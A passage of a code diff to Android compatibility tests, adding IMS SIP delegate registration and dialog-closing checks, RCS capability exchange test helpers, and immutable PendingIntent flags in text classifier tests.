TestSipDelegateConnection delegateConn = new TestSipDelegateConnection(request);
@@ -416,6 +425,12 @@
delegateConn.sendMessageAndVerifyFailure(ImsUtils.TEST_SIP_MESSAGE,
SipDelegateManager.MESSAGE_FAILURE_REASON_DELEGATE_DEAD);
+ delegateConn.triggerFullNetworkRegistration(manager, 403, "FORBIDDEN");
+ // wait 5 seconds, this should not return.
+ TestImsRegistration.NetworkRegistrationInfo info =
+ imsReg.getNextFullNetworkRegRequest(5000);
+ assertNull("If there is no valid SipTransport, this should not be called", info);
+
destroySipDelegateConnectionNoDelegate(manager, delegateConn);
}
@@ -428,6 +443,7 @@
connectTestImsServiceWithSipTransportAndConfig();
TestSipTransport transportImpl = sServiceConnector.getCarrierService().getSipTransport();
+ TestImsRegistration regImpl = sServiceConnector.getCarrierService().getImsRegistration();
SipDelegateManager manager = getSipDelegateManager();
DelegateRequest request = getDefaultRequest();
TestSipDelegateConnection delegateConn = new TestSipDelegateConnection(request);
@@ -435,6 +451,7 @@
TestSipDelegate delegate = createSipDelegateConnectionAndVerify(manager, delegateConn,
transportImpl, Collections.emptySet(), 0);
assertNotNull(delegate);
+ verifyUpdateRegistrationCalled(regImpl);
SipDelegateImsConfiguration c = new SipDelegateImsConfiguration.Builder(1)
.addString(SipDelegateImsConfiguration.KEY_SIP_CONFIG_IMEI_STRING, "123")
@@ -445,10 +462,14 @@
sendMessageAndVerifyAck(delegateConn, delegate);
receiveMessageAndVerifyAck(delegateConn, delegate);
+ // Ensure requests to perform a full network re-registration work properly.
+ verifyFullRegistrationTriggered(manager, regImpl, delegateConn);
+
destroySipDelegateAndVerify(manager, transportImpl, delegateConn, delegate,
request.getFeatureTags());
assertEquals("There should be no more delegates", 0,
transportImpl.getDelegates().size());
+ verifyUpdateRegistrationCalled(regImpl);
}
@Test
@@ -509,6 +530,7 @@
assertTrue(sServiceConnector.setDefaultSmsApp());
connectTestImsServiceWithSipTransportAndConfig();
TestSipTransport transportImpl = sServiceConnector.getCarrierService().getSipTransport();
+ TestImsRegistration regImpl = sServiceConnector.getCarrierService().getImsRegistration();
SipDelegateManager manager = getSipDelegateManager();
DelegateRequest request1 = getChatOnlyRequest();
@@ -532,6 +554,7 @@
TestSipDelegate delegate2 = createSipDelegateConnectionAndVerify(manager, delegateConn2,
transportImpl, Collections.emptySet(), 1);
assertNotNull(delegate2);
+ verifyUpdateRegistrationCalled(regImpl);
Set<FeatureTagState> deniedSet = generateDeniedSetFromRequest(request1.getFeatureTags(),
request2.getFeatureTags(),
SipDelegateManager.DENIED_REASON_IN_USE_BY_ANOTHER_DELEGATE);
@@ -548,6 +571,7 @@
verifySipDelegateDestroyed(transportImpl, delegateConn2, delegate2, registeredTags2,
DelegateRegistrationState.DEREGISTERING_REASON_FEATURE_TAGS_CHANGING);
delegate2 = getSipDelegate(transportImpl, Collections.emptySet(), 0);
+ verifyUpdateRegistrationCalled(regImpl);
verifyRegisteredAndSendSipConfig(delegateConn2, delegate2, request2.getFeatureTags(),
Collections.emptySet(), c);
@@ -566,6 +590,7 @@
connectTestImsServiceWithSipTransportAndConfig();
TestSipTransport transportImpl = sServiceConnector.getCarrierService().getSipTransport();
+ TestImsRegistration regImpl = sServiceConnector.getCarrierService().getImsRegistration();
SipDelegateManager manager = getSipDelegateManager();
DelegateRequest request = getDefaultRequest();
TestSipDelegateConnection delegateConn = new TestSipDelegateConnection(request);
@@ -574,8 +599,12 @@
createSipDelegateConnectionNoDelegateExpected(manager, delegateConn, transportImpl);
// Make this app the DMA
+ regImpl.resetLatch(TestImsRegistration.LATCH_TRIGGER_DEREGISTRATION, 1);
assertTrue(sServiceConnector.setDefaultSmsApp());
+ assertTrue(regImpl.waitForLatchCountDown(TestImsRegistration.LATCH_TRIGGER_DEREGISTRATION,
+ ImsUtils.TEST_TIMEOUT_MS));
TestSipDelegate delegate = getSipDelegate(transportImpl, Collections.emptySet(), 0);
+ verifyUpdateRegistrationCalled(regImpl);
SipDelegateImsConfiguration c = new SipDelegateImsConfiguration.Builder(1)
.addString(SipDelegateImsConfiguration.KEY_SIP_CONFIG_IMEI_STRING, "123")
.build();
@@ -596,6 +625,7 @@
assertTrue(sServiceConnector.setDefaultSmsApp());
connectTestImsServiceWithSipTransportAndConfig();
TestSipTransport transportImpl = sServiceConnector.getCarrierService().getSipTransport();
+ TestImsRegistration regImpl = sServiceConnector.getCarrierService().getImsRegistration();
SipDelegateManager manager = getSipDelegateManager();
DelegateRequest request = getDefaultRequest();
@@ -603,6 +633,7 @@
TestSipDelegate delegate = createSipDelegateConnectionAndVerify(manager, delegateConn,
transportImpl, Collections.emptySet(), 0);
assertNotNull(delegate);
+ verifyUpdateRegistrationCalled(regImpl);
SipDelegateImsConfiguration c = new SipDelegateImsConfiguration.Builder(1)
.addString(SipDelegateImsConfiguration.KEY_SIP_CONFIG_IMEI_STRING, "123")
@@ -613,7 +644,10 @@
// Move DMA to another app, we should receive a registration update.
delegateConn.setOperationCountDownLatch(1);
+ regImpl.resetLatch(TestImsRegistration.LATCH_TRIGGER_DEREGISTRATION, 1);
sServiceConnector.restoreDefaultSmsApp();
+ assertTrue(regImpl.waitForLatchCountDown(TestImsRegistration.LATCH_TRIGGER_DEREGISTRATION,
+ ImsUtils.TEST_TIMEOUT_MS));
delegateConn.waitForCountDown(ImsUtils.TEST_TIMEOUT_MS);
// we should get another reg update with all tags denied.
delegateConn.setOperationCountDownLatch(1);
@@ -627,6 +661,7 @@
// There should not be any delegates left, as the only delegate should have been cleaned up.
assertEquals("SipDelegate should not have any delegates", 0,
transportImpl.getDelegates().size());
+ verifyUpdateRegistrationCalled(regImpl);
destroySipDelegateConnectionNoDelegate(manager, delegateConn);
}
@@ -827,11 +862,33 @@
.collect(Collectors.toSet());
}
+ private void verifyUpdateRegistrationCalled(TestImsRegistration regImpl) {
+ regImpl.resetLatch(TestImsRegistration.LATCH_UPDATE_REGISTRATION, 1);
+ // it is okay to reset and wait here (without race conditions) because there is a
+ // second delay between triggering update registration and the latch being triggered.
+ assertTrue(regImpl.waitForLatchCountDown(TestImsRegistration.LATCH_UPDATE_REGISTRATION,
+ ImsUtils.TEST_TIMEOUT_MS));
+ }
+
+ private void verifyFullRegistrationTriggered(SipDelegateManager manager,
+ TestImsRegistration regImpl, TestSipDelegateConnection delegateConn) throws Exception {
+ delegateConn.verifyDelegateCreated();
+ delegateConn.triggerFullNetworkRegistration(manager, 403, "FORBIDDEN");
+ TestImsRegistration.NetworkRegistrationInfo info =
+ regImpl.getNextFullNetworkRegRequest(ImsUtils.TEST_TIMEOUT_MS);
+ assertNotNull("full registration requested, but ImsRegistrationImplBase "
+ + "implementation did not receive a request.", info);
+ assertEquals(403, info.sipCode);
+ assertEquals("FORBIDDEN", info.sipReason);
+ }
+
private void sendMessageAndVerifyAck(TestSipDelegateConnection delegateConn,
TestSipDelegate delegate) throws Exception {
// Send a message and ensure it gets received on the other end as well as acked
delegateConn.sendMessageAndVerifyCompletedSuccessfully(ImsUtils.TEST_SIP_MESSAGE);
delegate.verifyMessageSend(ImsUtils.TEST_SIP_MESSAGE);
+ delegateConn.sendCloseDialog(ImsUtils.TEST_CALL_ID);
+ delegate.verifyCloseDialog(ImsUtils.TEST_CALL_ID);
// send a message and notify connection that it failed
delegate.setSendMessageDenyReason(
SipDelegateManager.MESSAGE_FAILURE_REASON_NETWORK_NOT_AVAILABLE);
@@ -873,15 +930,6 @@
return b.build();
}
- private DelegateRegistrationState getDeregistedState(Set<String> deregisterTags,
- int reason) {
- DelegateRegistrationState.Builder b = new DelegateRegistrationState.Builder();
- for (String t : deregisterTags) {
- b.addDeregisteredFeatureTag(t, reason);
- }
- return b.build();
- }
-
private void connectTestImsServiceWithSipTransportAndConfig() throws Exception {
PersistableBundle b = new PersistableBundle();
b.putBoolean(CarrierConfigManager.Ims.KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL, true);
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestAcsClient.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestAcsClient.java
new file mode 100644
index 0000000..15506fa
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestAcsClient.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import android.telephony.ims.RcsClientConfiguration;
+
+import java.util.concurrent.LinkedBlockingQueue;
+
+public class TestAcsClient {
+ public static int ACTION_SET_RCS_CLIENT_CONFIG = 1;
+ public static int ACTION_TRIGGER_AUTO_CONFIG = 2;
+ public static int ACTION_CONFIG_CHANGED = 3;
+
+ private LinkedBlockingQueue<Integer> mActionQueue;
+ private RcsClientConfiguration mRcc;
+ private byte[] mConfig;
+
+ private static TestAcsClient sInstance;
+
+ private TestAcsClient() {}
+
+ public static TestAcsClient getInstance() {
+ if (sInstance == null) {
+ sInstance = new TestAcsClient();
+ }
+ return sInstance;
+ }
+
+ public void onSetRcsClientConfiguration(RcsClientConfiguration rcc) {
+ if (mActionQueue != null) {
+ mActionQueue.offer(ACTION_SET_RCS_CLIENT_CONFIG);
+ }
+ mRcc = rcc;
+ }
+
+ public void onTriggerAutoConfiguration() {
+ if (mActionQueue != null) {
+ mActionQueue.offer(ACTION_TRIGGER_AUTO_CONFIG);
+ }
+ }
+
+ public void onConfigChanged(byte[] config, boolean isCompressed) {
+ if (mActionQueue != null) {
+ mActionQueue.offer(ACTION_CONFIG_CHANGED);
+ }
+ mConfig = isCompressed ? ImsUtils.decompressGzip(config) : config;
+ }
+
+ public void setActionQueue(LinkedBlockingQueue<Integer> actionQueue) {
+ mActionQueue = actionQueue;
+ }
+
+ public RcsClientConfiguration getRcc() {
+ return mRcc;
+ }
+
+ public byte[] getConfig() {
+ return mConfig;
+ }
+
+ public void reset() {
+ mActionQueue = null;
+ mRcc = null;
+ mConfig = null;
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsConfig.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsConfig.java
index 00c5a1b..494372f 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsConfig.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsConfig.java
@@ -16,6 +16,7 @@
package android.telephony.ims.cts;
+import android.telephony.ims.RcsClientConfiguration;
import android.telephony.ims.stub.ImsConfigImplBase;
import java.util.HashMap;
@@ -50,7 +51,16 @@
@Override
public void notifyRcsAutoConfigurationReceived(byte[] content, boolean isCompressed) {
- int item = isCompressed ? ImsUtils.ITEM_COMPRESSED : ImsUtils.ITEM_NON_COMPRESSED;
- setConfig(item, new String(content));
+ TestAcsClient.getInstance().onConfigChanged(content, isCompressed);
+ }
+
+ @Override
+ public void setRcsClientConfiguration(RcsClientConfiguration rcc) {
+ TestAcsClient.getInstance().onSetRcsClientConfiguration(rcc);
+ }
+
+ @Override
+ public void triggerAutoConfiguration() {
+ TestAcsClient.getInstance().onTriggerAutoConfiguration();
}
}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsRegistration.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsRegistration.java
new file mode 100644
index 0000000..afdd3d1
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsRegistration.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import android.telephony.ims.stub.ImsRegistrationImplBase;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class TestImsRegistration extends ImsRegistrationImplBase {
+
+ public static class NetworkRegistrationInfo {
+ public final int sipCode;
+ public final String sipReason;
+ NetworkRegistrationInfo(int code, String reason) {
+ sipCode = code;
+ sipReason = reason;
+ }
+ }
+
+ public static final int LATCH_UPDATE_REGISTRATION = 0;
+ public static final int LATCH_TRIGGER_DEREGISTRATION = 1;
+ private static final int LATCH_MAX = 2;
+ private static final CountDownLatch[] sLatches = new CountDownLatch[LATCH_MAX];
+ static {
+ for (int i = 0; i < LATCH_MAX; i++) {
+ sLatches[i] = new CountDownLatch(1);
+ }
+ }
+
+ private final LinkedBlockingQueue<NetworkRegistrationInfo> mPendingFullRegistrationRequests =
+ new LinkedBlockingQueue<>();
+
+ @Override
+ public void triggerFullNetworkRegistration(int sipCode, String sipReason) {
+ mPendingFullRegistrationRequests.offer(new NetworkRegistrationInfo(sipCode, sipReason));
+ }
+
+ @Override
+ public void updateSipDelegateRegistration() {
+ synchronized (sLatches) {
+ sLatches[LATCH_UPDATE_REGISTRATION].countDown();
+ }
+ }
+
+ @Override
+ public void triggerSipDelegateDeregistration() {
+ synchronized (sLatches) {
+ sLatches[LATCH_TRIGGER_DEREGISTRATION].countDown();
+ }
+ }
+
+ public NetworkRegistrationInfo getNextFullNetworkRegRequest(int timeoutMs) throws Exception {
+ return mPendingFullRegistrationRequests.poll(timeoutMs, TimeUnit.MILLISECONDS);
+ }
+
+ public void resetLatch(int latchIndex, int newCount) {
+ synchronized (sLatches) {
+ sLatches[latchIndex] = new CountDownLatch(newCount);
+ }
+ }
+
+ public boolean waitForLatchCountDown(int latchIndex, int timeoutMs) {
+ CountDownLatch latch;
+ synchronized (sLatches) {
+ latch = sLatches[latchIndex];
+ }
+ while (latch.getCount() > 0) {
+ try {
+ return latch.await(timeoutMs, TimeUnit.MILLISECONDS);
+ } catch (InterruptedException e) { }
+ }
+ return true;
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java
index 029b8c3..912d95c 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java
@@ -43,7 +43,8 @@
private static final String TAG = "GtsImsTestImsService";
- private static ImsRegistrationImplBase sImsRegistrationImplBase = new ImsRegistrationImplBase();
+ private static final TestImsRegistration sImsRegistrationImplBase =
+ new TestImsRegistration();
private TestRcsFeature mTestRcsFeature;
private TestMmTelFeature mTestMmTelFeature;
@@ -68,7 +69,9 @@
public static final int LATCH_RCS_READY = 8;
public static final int LATCH_MMTEL_CAP_SET = 9;
public static final int LATCH_RCS_CAP_SET = 10;
- private static final int LATCH_MAX = 11;
+ public static final int LATCH_UCE_LISTENER_SET = 11;
+ public static final int LATCH_UCE_REQUEST_PUBLISH = 12;
+ private static final int LATCH_MAX = 13;
protected static final CountDownLatch[] sLatches = new CountDownLatch[LATCH_MAX];
static {
for (int i = 0; i < LATCH_MAX; i++) {
@@ -85,6 +88,12 @@
interface CapabilitiesSetListener {
void onSet();
}
+ interface RcsCapabilitySetListener {
+ void onSet();
+ }
+ interface DeviceCapPublishListener {
+ void onPublish();
+ }
// This is defined here instead TestImsService extending ImsService directly because the GTS
// tests were failing to run on pre-P devices. Not sure why, but TestImsService is loaded
@@ -158,8 +167,20 @@
synchronized (mLock) {
countDownLatch(LATCH_RCS_CAP_SET);
}
+ },
+ () -> {
+ synchronized (mLock) {
+ countDownLatch(LATCH_UCE_LISTENER_SET);
}
- );
+ });
+
+ // Setup UCE request listener
+ mTestRcsFeature.setDeviceCapPublishListener(() -> {
+ synchronized (mLock) {
+ countDownLatch(LATCH_UCE_REQUEST_PUBLISH);
+ }
+ });
+
if (mSetNullRcsBinding) {
return null;
}
@@ -348,7 +369,7 @@
}
}
- public ImsRegistrationImplBase getImsRegistration() {
+ public TestImsRegistration getImsRegistration() {
synchronized (mLock) {
return sImsRegistrationImplBase;
}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsCapabilityExchangeImpl.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsCapabilityExchangeImpl.java
new file mode 100644
index 0000000..cdc1392
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsCapabilityExchangeImpl.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import android.telephony.ims.ImsException;
+import android.telephony.ims.cts.TestImsService.DeviceCapPublishListener;
+import android.telephony.ims.stub.RcsCapabilityExchangeImplBase;
+import android.util.Log;
+
+import java.util.concurrent.Executor;
+
+/**
+ * A implementation class of RcsCapabilityExchangeImplBase for the TestRcsFeature.
+ */
+public class TestRcsCapabilityExchangeImpl extends RcsCapabilityExchangeImplBase {
+
+ private static final String LOG_TAG = "TestRcsCapExchangeImpl";
+
+ @FunctionalInterface
+ public interface PublishOperation {
+ void execute(DeviceCapPublishListener listener, String pidfXml, PublishResponseCallback cb)
+ throws ImsException;
+ }
+
+ private DeviceCapPublishListener mPublishListener;
+
+ // The operation of publishing capabilities
+ private PublishOperation mPublishOperation;
+
+ /**
+ * Create a new RcsCapabilityExchangeImplBase instance.
+ * @param executor The executor that remote calls from the framework will be called on.
+ */
+ public TestRcsCapabilityExchangeImpl(Executor executor, DeviceCapPublishListener listener) {
+ super(executor);
+ mPublishListener = listener;
+ }
+
+ public void setPublishOperator(PublishOperation operation) {
+ mPublishOperation = operation;
+ }
+
+ @Override
+ public void publishCapabilities(String pidfXml, PublishResponseCallback cb) {
+ try {
+ mPublishOperation.execute(mPublishListener, pidfXml, cb);
+ } catch (ImsException e) {
+ Log.w(LOG_TAG, "publishCapabilities exception: " + e);
+ }
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsFeature.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsFeature.java
index 3354158..b81f22f 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsFeature.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsFeature.java
@@ -17,25 +17,41 @@
package android.telephony.ims.cts;
import android.telephony.ims.feature.RcsFeature;
+import android.telephony.ims.stub.CapabilityExchangeEventListener;
+import android.telephony.ims.stub.RcsCapabilityExchangeImplBase;
import android.util.Log;
+import java.util.concurrent.Executor;
+
public class TestRcsFeature extends RcsFeature {
+
private static final String TAG = "CtsTestImsService";
private final TestImsService.ReadyListener mReadyListener;
private final TestImsService.RemovedListener mRemovedListener;
private final TestImsService.CapabilitiesSetListener mCapSetListener;
+ private final TestImsService.RcsCapabilitySetListener mRcsCapabilitySetListener;
+
+ private TestRcsCapabilityExchangeImpl mCapExchangeImpl;
+ private CapabilityExchangeEventListener mCapEventListener;
+ private TestImsService.DeviceCapPublishListener mDeviceCapPublishListener;
TestRcsFeature(TestImsService.ReadyListener readyListener,
TestImsService.RemovedListener listener,
- TestImsService.CapabilitiesSetListener setListener) {
+ TestImsService.CapabilitiesSetListener setListener,
+ TestImsService.RcsCapabilitySetListener uceCallbackListener) {
mReadyListener = readyListener;
mRemovedListener = listener;
mCapSetListener = setListener;
+ mRcsCapabilitySetListener = uceCallbackListener;
setFeatureState(STATE_READY);
}
+ public void setDeviceCapPublishListener(TestImsService.DeviceCapPublishListener listener) {
+ mDeviceCapPublishListener = listener;
+ }
+
@Override
public void onFeatureReady() {
if (ImsUtils.VDBG) {
@@ -51,4 +67,30 @@
}
mRemovedListener.onRemoved();
}
+
+ public RcsCapabilityExchangeImplBase createCapabilityExchangeImpl(Executor executor,
+ CapabilityExchangeEventListener listener) {
+ if (ImsUtils.VDBG) {
+ Log.d(TAG, "TestRcsFeature.createCapabilityExchangeImpl called");
+ }
+ mCapEventListener = listener;
+ mCapExchangeImpl = new TestRcsCapabilityExchangeImpl(executor, mDeviceCapPublishListener);
+ mRcsCapabilitySetListener.onSet();
+ return mCapExchangeImpl;
+ }
+
+ public void removeCapabilityExchangeImpl(RcsCapabilityExchangeImplBase capExchangeImpl) {
+ if (ImsUtils.VDBG) {
+ Log.d(TAG, "TestRcsFeature.removeCapabilityExchangeImpl called");
+ }
+ mRcsCapabilitySetListener.onSet();
+ }
+
+ public CapabilityExchangeEventListener getEventListener() {
+ return mCapEventListener;
+ }
+
+ public TestRcsCapabilityExchangeImpl getRcsCapabilityExchangeImpl() {
+ return mCapExchangeImpl;
+ }
}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegate.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegate.java
index 3d06dce..729efb9 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegate.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegate.java
@@ -48,6 +48,7 @@
// Pair is <transactionId, error reason>
private final LinkedBlockingQueue<Pair<String, Integer>> mReceivedMessageAcks =
new LinkedBlockingQueue<>();
+ private final LinkedBlockingQueue<String> mCloseDialogRequests = new LinkedBlockingQueue<>();
private int mSendMessageDenyReason = -1;
public TestSipDelegate(int sub, DelegateRequest request, DelegateStateCallback cb,
@@ -73,7 +74,7 @@
@Override
public void closeDialog(@NonNull String callId) {
if (ImsUtils.VDBG) Log.d(LOG_TAG, "closeDialog");
- // TODO: Test once dialogs are tracked in AOSP.
+ mCloseDialogRequests.offer(callId);
}
@Override
@@ -93,6 +94,12 @@
assertEquals(messageToVerify, m);
}
+ public void verifyCloseDialog(String callIdToVerify) throws Exception {
+ String requestedCallId = mCloseDialogRequests.poll(ImsUtils.TEST_TIMEOUT_MS,
+ TimeUnit.MILLISECONDS);
+ assertEquals(callIdToVerify, requestedCallId);
+ }
+
public void setSendMessageDenyReason(int reason) {
mSendMessageDenyReason = reason;
}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegateConnection.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegateConnection.java
index 6b3b134..ca7505f 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegateConnection.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegateConnection.java
@@ -89,6 +89,13 @@
ImsException.class, "android.permission.MODIFY_PHONE_STATE");
}
+ public void triggerFullNetworkRegistration(SipDelegateManager manager, int sipCode,
+ String sipReason) throws Exception {
+ ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
+ manager, (m) -> m.triggerFullNetworkRegistration(connection, sipCode, sipReason),
+ ImsException.class, "android.permission.MODIFY_PHONE_STATE");
+ }
+
@Override
public void onMessageReceived(@NonNull SipMessage message) {
if (ImsUtils.VDBG) Log.d(LOG_TAG, "onMessageReceived");
@@ -145,6 +152,11 @@
mLatch.countDown();
}
+ public void sendCloseDialog(String callId) {
+ assertNotNull("SipDelegate was null when closing dialog", connection);
+ connection.closeDialog(callId);
+ }
+
public void sendMessageAndVerifyCompletedSuccessfully(SipMessage messageToSend)
throws Exception {
assertNotNull("SipDelegate was null when sending message", connection);
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/ConversationActionTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/ConversationActionTest.java
index 16d4265..bd66fca 100644
--- a/tests/tests/textclassifier/src/android/view/textclassifier/cts/ConversationActionTest.java
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/ConversationActionTest.java
@@ -40,7 +40,10 @@
private static final String TEXT = "TEXT";
private static final float FLOAT_TOLERANCE = 0.01f;
private static final PendingIntent PENDING_INTENT = PendingIntent.getActivity(
- InstrumentationRegistry.getTargetContext(), 0, new Intent(), 0);
+ InstrumentationRegistry.getTargetContext(),
+ 0,
+ new Intent(),
+ PendingIntent.FLAG_IMMUTABLE);
private static final RemoteAction REMOTE_ACTION = new RemoteAction(
Icon.createWithData(new byte[0], 0, 0),
TEXT,
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/CtsTextClassifierService.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/CtsTextClassifierService.java
index 909f7de..d3d19bb 100644
--- a/tests/tests/textclassifier/src/android/view/textclassifier/cts/CtsTextClassifierService.java
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/CtsTextClassifierService.java
@@ -94,7 +94,12 @@
TextSelection.Request request, CancellationSignal cancellationSignal,
Callback<TextSelection> callback) {
handleRequest(sessionId, "onSuggestSelection");
- callback.onSuccess(TextClassifier.NO_OP.suggestSelection(request));
+ TextSelection.Builder textSelection =
+ new TextSelection.Builder(request.getStartIndex(), request.getEndIndex());
+ if (request.shouldIncludeTextClassification()) {
+ textSelection.setTextClassification(createTextClassification());
+ }
+ callback.onSuccess(textSelection.build());
}
@Override
@@ -102,14 +107,21 @@
TextClassification.Request request, CancellationSignal cancellationSignal,
Callback<TextClassification> callback) {
handleRequest(sessionId, "onClassifyText");
- final TextClassification classification = new TextClassification.Builder()
+ callback.onSuccess(createTextClassification());
+ }
+
+ private TextClassification createTextClassification() {
+ return new TextClassification.Builder()
.addAction(new RemoteAction(
ICON_RES,
"Test Action",
"Test Action",
- PendingIntent.getActivity(this, 0, new Intent(), 0)))
+ PendingIntent.getActivity(
+ this,
+ 0,
+ new Intent(),
+ PendingIntent.FLAG_IMMUTABLE)))
.build();
- callback.onSuccess(classification);
}
@Override
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassificationTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassificationTest.java
index 77e9a4a..5f18026 100644
--- a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassificationTest.java
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassificationTest.java
@@ -64,12 +64,18 @@
final float addressScore = 0.1f;
final float emailScore = 0.9f;
final PendingIntent intent1 = PendingIntent.getActivity(
- InstrumentationRegistry.getTargetContext(), 0, new Intent(), 0);
+ InstrumentationRegistry.getTargetContext(),
+ 0,
+ new Intent(),
+ PendingIntent.FLAG_IMMUTABLE);
final String label1 = "label1";
final String description1 = "description1";
final Icon icon1 = generateTestIcon(16, 16, Color.RED);
final PendingIntent intent2 = PendingIntent.getActivity(
- InstrumentationRegistry.getTargetContext(), 0, new Intent(), 0);
+ InstrumentationRegistry.getTargetContext(),
+ 0,
+ new Intent(),
+ PendingIntent.FLAG_IMMUTABLE);
final String label2 = "label2";
final String description2 = "description2";
final Icon icon2 = generateTestIcon(16, 16, Color.GREEN);
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java
index e04c879..3068260 100644
--- a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java
@@ -32,6 +32,7 @@
import android.view.textclassifier.TextClassificationSessionId;
import android.view.textclassifier.TextClassifier;
import android.view.textclassifier.TextLanguage;
+import android.view.textclassifier.TextSelection;
import androidx.test.InstrumentationRegistry;
import androidx.test.core.app.ApplicationProvider;
@@ -120,7 +121,7 @@
}
@Test
- public void testResourceIconsRewrittenToContentUriIcons() throws Exception {
+ public void testResourceIconsRewrittenToContentUriIcons_classifyText() throws Exception {
final TextClassifier tc = ApplicationProvider.getApplicationContext()
.getSystemService(TextClassificationManager.class)
.getTextClassifier();
@@ -133,6 +134,22 @@
assertThat(icon.getUri()).isEqualTo(CtsTextClassifierService.ICON_URI.getUri());
}
+ @Test
+ public void testResourceIconsRewrittenToContentUriIcons_suggestSelection() throws Exception {
+ final TextClassifier tc = ApplicationProvider.getApplicationContext()
+ .getSystemService(TextClassificationManager.class)
+ .getTextClassifier();
+ final TextSelection.Request request =
+ new TextSelection.Request.Builder("0800 123 4567", 0, 12)
+ .setIncludeTextClassification(true)
+ .build();
+
+ final TextSelection textSelection = tc.suggestSelection(request);
+ final Icon icon = textSelection.getTextClassification().getActions().get(0).getIcon();
+ assertThat(icon.getType()).isEqualTo(Icon.TYPE_URI);
+ assertThat(icon.getUri()).isEqualTo(CtsTextClassifierService.ICON_URI.getUri());
+ }
+
/**
* Start an Activity from another package that queries the device's TextClassifierService when
* started and immediately terminates itself. When the Activity finishes, it sends broadcast, we
@@ -154,8 +171,12 @@
"android.textclassifier.cts2.QueryTextClassifierServiceActivity"));
outsideActivity.setFlags(FLAG_ACTIVITY_NEW_TASK);
final Intent broadcastIntent = new Intent(actionQueryActivityFinish);
- final PendingIntent pendingIntent = PendingIntent.getBroadcast(context, 0, broadcastIntent,
- 0);
